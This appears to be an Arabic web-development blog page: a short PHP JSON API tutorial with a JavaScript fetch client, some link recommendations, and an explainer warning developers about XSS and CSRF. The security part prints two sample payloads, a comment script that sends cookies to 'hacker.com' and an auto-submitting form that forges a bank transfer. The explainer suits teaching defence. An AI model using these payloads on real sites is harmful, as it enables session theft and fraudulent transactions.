السلام عليكم ورحمة الله وبركاته

في عالم الويب وتحديداً تطبيقات ال Backend لدينا نوعان تقريباً من التطبيقات ، وهي التطبيقات العادية التي ترد بصفحات html والتطبيقات التي ترد ببيانات فقط والتي تسمى api .
يتميز النوع الثاني بانه اكثر احترافية لان استعمالهم لا يقتصر على صفحات الانترنت التى في المتصفح فقط ، بل يمتد استعمالهم الى اغلب انواع التطبيقات التي تعمل كواجهة للمستخدم مثل تطبيقات الاندرويد او تطبيقات سطح المكتب .

دعونا اليوم نرى كيف يمكن عمل api بسيط باستخدام php ، لذا جهز محررك وابدا معي الخطوات البسيطة التالية :
1 - انشئ مشروع جديد (مجلد) باسم api (او اي اسم) .
2 - انشئ ملف بداخله باسم index.php وافتح المشروع على محررك .
3 - اكتب الكود التالي في الملف .

<?php 

header("Content-Type: application/json");
// get data from database and make your logic
$array = array(
    "name" => "Ali",
    "age" => 20
);

echo json_encode($array);

4 - شغل المشروع
تم ، الان اصبح لديك api بسيط يعيد بيانات بصيغة json .

دعني اشرح الغريب في الكود ، اولاً والزامياً تحديد نوع الرد داخل دالة header وحددنا ان قيمة Content-Type هي application/json اي ان الرد عبارة عن json .
ثانياً بالسطر الاخير قمنا بطباعة البيانات لكن باستخدام دالة json_encode والتي تقوم بتحويل المصفوفة الى json .

الان السؤال الاهم ، كيف اجلب البيانات من هذا الapi ؟ والامر بسيط وبدون تعقيد انظر الكود التالي الذي يقوم بجلب البيانات من هذا الapi باعتبار ان الapi شعمل على localhost:8000 كالتالي :

<!DOCTYPE html>
<html lang="en">
<head>
    <title>Test api</title>
</head>
<body>
    <div id="content">Click the button</div>
    <button onclick="getData()">Get Data</button>

    <script>
        async function getData(){
            const data = await fetch("http://localhost:8000/");
            const jsonData = await data.json();
            const div = document.getElementById("content");
            div.innerHTML = `Name is : ${jsonData['name']}<br>Age is ${jsonData['age']}`;
        }
    </script>
</body>
</html>

الصفحة السابقة تقوم بتنفيذ الدالة getData عند النقر على الزر ، والذي يقوم بارسال طلب الى رابط الapi ويجب ان تكون الدالة متزامنة async ، بعد ان ترسل الطلب يتم تحويل الرد الى مصفوفة بالسطر الذي يليه باستخدام الدالة data.json() ثم يتم طباعة النتائج .

ما سبق كان تطبيق api بسيط ، ان شاء الله سيكون لدينا تفصيل اكثر لاستعمال ال EndPoints بشكل اكثر تقدماً ، يمكنك رؤية احد المشاريع التي شاركت بها في عمل معمارية بدائية مشابهة للارافيل على Github .

مكونات مفتوحة المصدر جاهزة لاكثر من اطار عمل تسهل عليك حياتك .
رابط الموقع : https://flowbite.com

يمكنك تحميل الموقع من github على الرابط : https://github.com/themesberg

في عالم مفتوح المصدر وجدت منصة بنيت على انها تويتر (x حالياً) ولكنها لا مركزية .

لمحبي الخصوصية والمنصات التي لا تجمع البيانات
https://asemnajee.bsky.social

من المهم لكل مبرمج عربي ان لا يغفل عما يقدمه العرب من المحتوى القوي جداً ، اكادمية حسوب لها توثيق شامل لاشهر اطر العمل واللفات البرمجية باللفة العربية وبشكل رائع
شاهد موسوعة حسوب على الرابط التالي:
https://wiki.hsoub.com/

بسم الله الرحمن الرحيم والصلاة والسلام على اشرف المرسلين .

كيف يمكن للمهاجمين مهاجمة موقعي او مهاجمة مستخدمين موقعي ؟
في عالم تطوير الويب يجب ان تكون حذر حيال امكانية المهاجمين انتحال شخصية مستخدميك او سرقة بياناتهم خصوصاً ان كان هذا المستخدم الذي تم انتحاله هو مشرف في الموقع .
الامر ليس فكرة عابرة او خيال علمي ، امكانية انتحال مستخدمي موقعك سهلة ان كنت لا تعرف كيف تحميه ، وهنا نذكر نوعان من الهجمات XSS, CSRF .

اولاً هجمة XSS وهي عملية يتم فيها الوصول الى بيانات المستخدم التي تم تخزينها في المتصفح مثل الكعكات وارسالها الى المهاجم ، ولكن كيف ذلك؟
ابسط مثال انك تسمح للمستخدمين بكتابة التعليقات في الموقع ، ولم تقم بالحماية بشكل مطلوب وقام احد المستخدمين "المهاجم" بكتابة تعليق وقام بعمل فيه كود JS يصل الى الكعكات ويرسلها الى المهاجم مثل

منشور رائع
<script>
fetch('hacker.com' + document.cookie);
</script>

اتدري ما سيحصل اذا قام المشرف بشكل عفوي بقراءة تعليقات المستخدمين ؟ سيتم ارسال الكعكات الى المهاجم ، وانت بطريقة ما قد تخزن بيانات حساسة في الكعكات ، ولا يقتصر الامر على الكعكات وانما جميع البيانات التي يمكن ان تصل اليها JS مثل ال LocalStorage وغيرها ، واشهر خطا هو محاولتك لتخزين ال JWT في التخزين المحلي localstorage ...

ثانياً CSRF وهذه الثغرة لا تقل خطورة بل تعتبر اكثر خطورة ، حيث يقوم المهاجم بارسال طلبات من متصفح المستخدم الى مواقع اخرى بدون علم المستخدم . اتعلم ما المشكلة؟ تخيل انك سجلت الدخول الى بنك عبر متصفحك ، بالتأكيد البنك امن موقعه بالكامل ولن يتم مهاجمتك بالثغرة السابقة XSS ولكنك زرت موقع اخر لا علاقة له بالبنك ، لكن هذا الموقع فيه الكود التالي

<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="hacker">
  <input name="amount" value="1000000">
</form>
<script>document.forms[0].submit()</script>

وبما انك مسجل دخول الى البنك ، فيقوم المتصفح بارسال الكعكات تلقائياً للبنك ، وهنا يمسي غنياً ويصبح فقيراً واخر يمسي فقيراً ويصبح غنياً .